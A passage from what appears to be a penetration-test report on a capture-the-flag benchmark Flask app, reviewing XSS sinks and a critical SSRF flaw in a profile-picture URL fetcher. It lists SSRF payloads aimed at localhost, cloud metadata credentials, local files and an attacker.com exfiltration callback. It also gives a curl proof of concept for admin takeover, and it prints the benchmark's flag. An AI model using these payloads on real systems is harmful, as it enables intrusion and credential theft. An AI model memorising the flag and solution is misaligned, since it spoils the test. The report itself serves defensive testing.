  - Lines 6, 8, 10: User data in HTML attribute context (`{{ user.first_name }}`, `{{ user.last_name }}`, `{{ user.email }}`)
  - Lines 21-23: Flag display for admin users

### Static Assets
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/static/style.css` - Frontend styling (Synthwave theme)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/static/uploads/` - User-uploaded profile picture storage directory

### CTF Flag Storage
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/.env` - Line 1: `FLAG="flag{335dd283-b8ce-4c22-b1d1-245c3f032575}"`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/Dockerfile` - Lines 12-13: Build-time flag injection using `sed`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/app.py`:
  - Line 22: Flag variable declaration (`FLAG = "@FLAG@"`)
  - Line 102: Flag rendering in profile template (`flag=FLAG if username == 'admin' else None`)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/templates/profile.html` - Lines 21-23: Flag display in HTML

---

## 9. XSS Sinks and Render Contexts

### Network Surface Scope

All XSS sinks identified below are **IN-SCOPE** as they exist in network-accessible web pages served by the Flask application on port 80. No sinks were found in local-only scripts, build tools, or developer utilities.

### XSS Sink 1: Stored XSS in Profile Form Fields (HTML Attribute Context)

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/templates/profile.html`  
**Lines:** 6, 8, 10  
**Type:** Stored XSS (HTML Attribute Context)  
**Render Context:** HTML `<input>` element `value` attribute  
**Network Accessibility:** IN-SCOPE (accessible via GET/POST `/profile` after authentication)

**Vulnerable Code:**
```html
6:    <input type="text" name="first_name" value="{{ user.first_name }}" required>
8:    <input type="text" name="last_name" value="{{ user.last_name }}" required>
10:   <input type="email" name="email" value="{{ user.email }}" required>
```

**User Input Flow:**
1. User submits registration form at `/register` with `first_name`, `last_name`, `email` (lines 38-40 in `app.py`)
2. Data stored in users dictionary without sanitization (lines 44-50 in `app.py`)
3. User data rendered in profile template (line 102 in `app.py`: `render_template('profile.html', user=user)`)
4. Jinja2 renders `{{ user.first_name }}` etc. directly into HTML attribute values

**Exploitation Analysis:**
**Mitigation Status:** Jinja2 auto-escaping is **ENABLED BY DEFAULT** in Flask, which escapes HTML special characters (`<`, `>`, `&`, `'`, `"`) to their entity equivalents (`&lt;`, `&gt;`, `&amp;`, `&#39;`, `&quot;`). This prevents basic XSS attacks by breaking out of the attribute context.

**Example Attack Payload (MITIGATED):**
```
first_name: " onload="alert(1)
Rendered as: value="" onload="alert(1)" 
Auto-escaped to: value="&quot; onload=&quot;alert(1)"
Result: Quotes escaped, attribute context NOT broken, XSS prevented
```

**Why Still Flagged:** Despite mitigation, this is flagged as a sink because:
1. User-controlled data is rendered in a sensitive HTML attribute context
2. Auto-escaping provides defense-in-depth but is not explicitly configured (relies on defaults)
3. Future code changes could disable auto-escaping (e.g., using `| safe` filter or `autoescape=false`)
4. Complex encoding scenarios or browser-specific parsing quirks could potentially bypass escaping
5. Email field uses `type="email"` which may have unique browser parsing behavior

**Recommendation:** While currently mitigated, implement server-side input validation to restrict allowed characters in name and email fields, explicitly configure `autoescape=True` in Jinja2 environment, and use Content Security Policy headers to add defense-in-depth.

### XSS Sink 2: Flash Messages (HTML Body Context)

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/templates/base.html`  
**Lines:** 20-27 (sink at line 24)  
**Type:** Reflected XSS (HTML Body Context) - **NOT EXPLOITABLE IN CURRENT IMPLEMENTATION**  
**Render Context:** HTML `<li>` element body content  
**Network Accessibility:** IN-SCOPE (flash messages displayed on multiple pages)

**Vulnerable Code:**
```html
20:        {% with messages = get_flashed_messages() %}
21:            {% if messages %}
22:                <ul>
23:                    {% for message in messages %}
24:                        <li>{{ message }}</li>
25:                    {% endfor %}
26:                </ul>
27:            {% endif %}
28:        {% endwith %}
```

**Current Usage Analysis:**
All `flash()` calls in the application use **HARDCODED STRINGS ONLY** with no user input:
- `app.py:42` - `flash('Username already exists!')`
- `app.py:52` - `flash('Registration successful! Please login.')`
- `app.py:65` - `flash('Invalid username or password!')`
- `app.py:100` - `flash('Failed to fetch image from URL.')`

**Why Flagged:** This is a **potential future vulnerability** sink. If developers later modify the code to include user input in flash messages (e.g., `flash(f'Welcome back, {username}!')`), this becomes exploitable. Currently **NOT VULNERABLE** since no user input flows into flash messages.

**Mitigation Status:** Jinja2 auto-escaping protects against XSS if user input is later added. However, best practice dictates never rendering untrusted data directly in flash messages.

**Recommendation:** Maintain discipline to never include user input in flash messages, or use message IDs with translation dictionaries instead of dynamic string construction.

### XSS Sink 3: Admin Flag Display (HTML Body Context)

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/templates/profile.html`  
**Lines:** 21-23  
**Type:** Stored XSS (HTML Body Context) - **NOT EXPLOITABLE**  
**Render Context:** HTML `<h3>` element body content  
**Network Accessibility:** IN-SCOPE (accessible at `/profile` when authenticated as admin)

**Vulnerable Code:**
```html
21:    {% if flag %}
22:        <h3>Flag: {{ flag }}</h3>
23:    {% endif %}
```

**Data Flow:**
- Flag value set at `app.py:22` - `FLAG = "@FLAG@"` (replaced at build time via Dockerfile sed command)
- Flag passed to template at `app.py:102` - `flag=FLAG if username == 'admin' else None`
- Rendered in HTML body context

**Why NOT Exploitable:** The flag value is controlled by the deployment environment (injected at Docker build time), not by user input. Unless an attacker controls the Docker build process, they cannot inject XSS payloads into the flag value. The flag format is a UUID-based string: `flag{335dd283-b8ce-4c22-b1d1-245c3f032575}`, which contains no HTML special characters.

**Mitigation Status:** Jinja2 auto-escaping applies, but not needed since flag is build-time controlled. This is **NOT A VULNERABILITY** in the current threat model.

### Summary of XSS Findings

| Sink Location | Type | Render Context | Exploitable? | Severity |
|--------------|------|----------------|--------------|----------|
| `profile.html:6,8,10` | Stored XSS | HTML Attribute (`value`) | **NO** (Jinja2 auto-escaping) | Low (mitigated) |
| `base.html:24` | Reflected XSS | HTML Body (`<li>`) | **NO** (no user input in flash) | Low (potential future risk) |
| `profile.html:22` | Stored XSS | HTML Body (`<h3>`) | **NO** (build-time controlled) | None |

**Overall XSS Posture:** The application has **no exploitable XSS vulnerabilities** due to Jinja2 auto-escaping being enabled by default. However, the lack of explicit input validation and the presence of user-controlled data in HTML attribute contexts represent potential future risks if code changes disable auto-escaping or introduce new sinks.

### XSS Sinks NOT Found

The following dangerous sinks were searched for but **NOT FOUND** in the codebase:
- **JavaScript Context:** No `eval()`, `Function()`, `setTimeout(string)`, `setInterval(string)`, or inline `<script>` tags with user data
- **innerHTML/outerHTML:** No client-side DOM manipulation (no JavaScript files exist)
- **document.write/writeln:** Not present
- **jQuery Sinks:** jQuery not used (no jQuery library included)
- **Event Handlers:** No dynamic onclick, onerror, onload, etc. with user data
- **URL Context:** No `window.location`, `location.href` manipulation with user input
- **CSS Context:** No dynamic `style` attribute or `<style>` tag content with user data
- **Template Injection:** No `render_template_string()` with user input (only `render_template()` with fixed template names)

---

## 10. SSRF Sinks

### Network Surface Scope

The SSRF sink identified below is **IN-SCOPE** as it exists in the network-accessible `/profile` endpoint. No SSRF sinks were found in local-only utilities, build scripts, or developer tools.

### SSRF Sink 1: Profile Picture URL Fetcher (CRITICAL)

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/app.py`  
**Lines:** 93-100  
**Type:** Server-Side Request Forgery (SSRF) via `urllib.request.urlretrieve()`  
**Network Accessibility:** IN-SCOPE (accessible via POST `/profile` after authentication)  
**Severity:** CRITICAL

**Vulnerable Code:**
```python
93:        profile_picture_url = request.form.get('profile_picture_url')
94:        if profile_picture_url:
95:            try:
96:                filename = secure_filename(profile_picture_url.split('/')[-1])
97:                urllib.request.urlretrieve(profile_picture_url, os.path.join(app.config['UPLOAD_FOLDER'], filename))
98:                user['profile_picture'] = filename
99:            except Exception as e:
100:               flash('Failed to fetch image from URL.')
```

**User Input Control:** **COMPLETE** - The `profile_picture_url` parameter is entirely user-controlled via the POST form data. No validation of:
- Protocol/scheme (allows `http://`, `https://`, `file://`, `ftp://`, `gopher://`, etc.)
- Hostname/IP address (allows `127.0.0.1`, `localhost`, `0.0.0.0`, `169.254.169.254`, internal IPs, any external domain)
- Port number (allows any port)
- Path (allows any URL path)

**Request Mechanism Details:**
- **Python Module:** `urllib.request` (standard library)
- **Function:** `urlretrieve(url, filename)` - Downloads content from URL to local file
- **Execution Context:** Synchronous (blocks HTTP request until download completes)
- **User-Agent:** Python-urllib/3.x (identifiable in server logs)
- **Redirects:** Follows HTTP redirects automatically (potential for redirect-based bypasses)
- **Timeout:** No explicit timeout configured (can hang on slow responses)

**Exploitation Scenarios:**

**1. Localhost Access (HIGH IMPACT):**
The application has a password reset endpoint at `/reset_password` (lines 104-116) restricted to `request.remote_addr == '127.0.0.1'`. The SSRF vulnerability bypasses this restriction:

**Attack:** POST to `/profile` with `profile_picture_url=http://127.0.0.1/reset_password?username=admin&newpassword=pwned`  
**Result:** Server-side request originates from `127.0.0.1`, passes IP check, resets admin password  
**Impact:** Complete admin account takeover, flag retrieval

**2. Cloud Metadata Access (HIGH IMPACT):**
**AWS:** `http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name]` - Steals IAM credentials  
**GCP:** `http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token` (requires `Metadata-Flavor: Google` header - urllib doesn't add custom headers, so partially mitigated)  
**Azure:** `http://169.254.169.254/metadata/instance?api-version=2021-02-01` (requires `Metadata: true` header - partially mitigated)  
**Result:** Potential cloud credential theft (AWS most vulnerable, GCP/Azure require headers)

**3. Internal Network Scanning (MEDIUM IMPACT):**
**Attack:** Submit requests to `http://192.168.1.1/`, `http://10.0.0.1/`, `http://172.16.0.1/` with varying ports  
**Result:** Map internal network topology, identify internal services, fingerprint internal applications  
**Detection:** Timing differences and error messages reveal open vs closed ports

**4. File System Access (MEDIUM IMPACT):**
**Attack:** `file:///etc/passwd`, `file:///app/app.py`, `file:///proc/self/environ`  
**Result:** Read local files (requires predictable path knowledge)  
**Limitation:** Downloaded content saved to `static/uploads/` with sanitized filename, then accessible via HTTP

**5. Denial of Service (LOW-MEDIUM IMPACT):**
**Attack:** `http://example.com/10GB-file.iso` or `http://slowloris-server.com/`  
**Result:** Exhaust disk space, consume network bandwidth, hang HTTP request thread  
**Impact:** Application unavailability

**6. Data Exfiltration (MEDIUM IMPACT):**
**Attack:** `http://attacker.com/?data=` (server makes request, attacker logs incoming request)  
**Result:** Confirm SSRF vulnerability, establish callback channel  
**Advanced:** Chain with file:// to exfiltrate local files via HTTP callbacks

**Proof of Concept Exploit:**
```bash
# Step 1: Register account
curl -X POST http://target.com/register -d "username=attacker&password=pass&first_name=Test&last_name=User&email=test@example.com"

# Step 2: Login
curl -X POST http://target.com/login -d "username=attacker&password=pass" -c cookies.txt

# Step 3: SSRF to reset admin password
curl -X POST http://target.com/profile \
  -b cookies.txt \
  -d "first_name=Test&last_name=User&email=test@example.com&profile_picture_url=http://127.0.0.1/reset_password?username=admin&newpassword=pwned"

# Step 4: Login as admin
curl -X POST http://target.com/login -d "username=admin&password=pwned" -c admin-cookies.txt

# Step 5: Retrieve flag
curl -X GET http://target.com/profile -b admin-cookies.txt | grep -oP 'flag{[^}]+}'
```

**Why This Sink Exists:** The application attempts to provide convenience by allowing users to specify a URL for their profile picture instead of uploading a file directly. This feature is implemented without security considerations, assuming all URLs are safe. The developers used `secure_filename()` on the URL path (line 96) for path traversal protection but neglected to validate the URL itself.

### SSRF Protection Target: Password Reset Endpoint

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/app.py`  
**Lines:** 104-116  
**Type:** Protected endpoint (IP-based access control)  
**Protection Mechanism:** `if request.remote_addr != '127.0.0.1': return "Unauthorized", 403`

**Code:**
```python
104: @app.route('/reset_password', methods=['GET'])
105: def reset_password():
106:     if request.remote_addr != '127.0.0.1':
107:         return "Unauthorized", 403
108:     
109:     username = request.args.get('username')
110:     new_password = request.args.get('newpassword')
111:     
112:     if username in users:
113:         users[username]['password'] = new_password
114:         return "Password reset successfully", 200
115:     else:
116:         return "User not found", 404
```

**Intended Security:** This endpoint is designed to be accessible only from localhost, preventing external attackers from arbitrarily resetting passwords. This might be intended for administrative scripts or internal tooling.

**Bypass via SSRF:** When the SSRF vulnerability at line 97 makes a request to `http://127.0.0.1/reset_password?username=X&newpassword=Y`, the request originates from the Flask application itself (localhost), satisfying the IP check at line 106. This completely bypasses the intended protection.

**Additional Vulnerabilities in Reset Endpoint:**
1. **GET Method:** Password in URL query parameters (logged in access logs, browser history)
2. **No Authentication Token:** No email verification, no reset token, no time-based expiry
3. **Username Enumeration:** Different responses for existing (200) vs non-existing (404) users
4. **Plaintext Password Update:** No hashing (line 113)
5. **No Rate Limiting:** Can brute-force username enumeration

### SSRF Sinks NOT Found

The following potential SSRF sinks were searched for but **NOT FOUND** in the codebase:

**HTTP Clients:** 
- Python `requests` library: NOT USED
- Python `httplib` / `http.client`: NOT USED  
- Python `aiohttp`: NOT USED
- Other HTTP libraries: NONE FOUND

**Raw Sockets:**
- `socket.connect()`: NOT USED
- `socket.create_connection()`: NOT USED

**File Operations with URLs:**
- `open()` with URLs: NOT USED
- PHP-style `file_get_contents()`: NOT APPLICABLE (Python app)
- `requests.get().content`: NOT USED

**Headless Browsers / Render Engines:**
- Puppeteer: NOT USED
- Playwright: NOT USED
- Selenium: NOT USED
- wkhtmltopdf: NOT USED
- WeasyPrint: NOT USED

**Media Processors:**
- ImageMagick: NOT USED
- FFmpeg: NOT USED
- Pillow/PIL with URL inputs: NOT USED

**Link Preview / Unfurlers:**
- OEmbed fetchers: NOT USED
- OpenGraph scrapers: NOT USED

**Webhook / SSO Integrations:**
- OAuth callback fetchers: NOT APPLICABLE (no OAuth)
- JWKS fetchers: NOT APPLICABLE (no JWT)
- OIDC discovery: NOT APPLICABLE (no OIDC)
- Webhook ping endpoints: NOT FOUND

**Package Installers:**
- pip with URLs: NOT IN APPLICATION CODE (only in requirements.txt)
- npm/yarn: NOT APPLICABLE (Python app)

### Summary

**Total SSRF Sinks Found:** 1 (CRITICAL)  
**Exploitable:** YES  
**Impact:** Complete admin account compromise via localhost password reset bypass  
**Remediation Priority:** IMMEDIATE

**Recommended Mitigations:**
1. **Remove URL upload feature entirely** - Use file upload only
2. **If URL feature required:** Implement strict whitelist (protocols: `https://` only; domains: trusted CDNs only)
3. **Block private IP ranges:** 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16
4. **Use dedicated service:** Route URL fetching through isolated service with network restrictions
5. **Remove `/reset_password` endpoint** or protect with proper authentication (not just IP checks)
6. **Implement timeouts:** Add timeout to `urlretrieve()` to prevent DoS
7. **Log all URL fetch attempts** for monitoring and alerting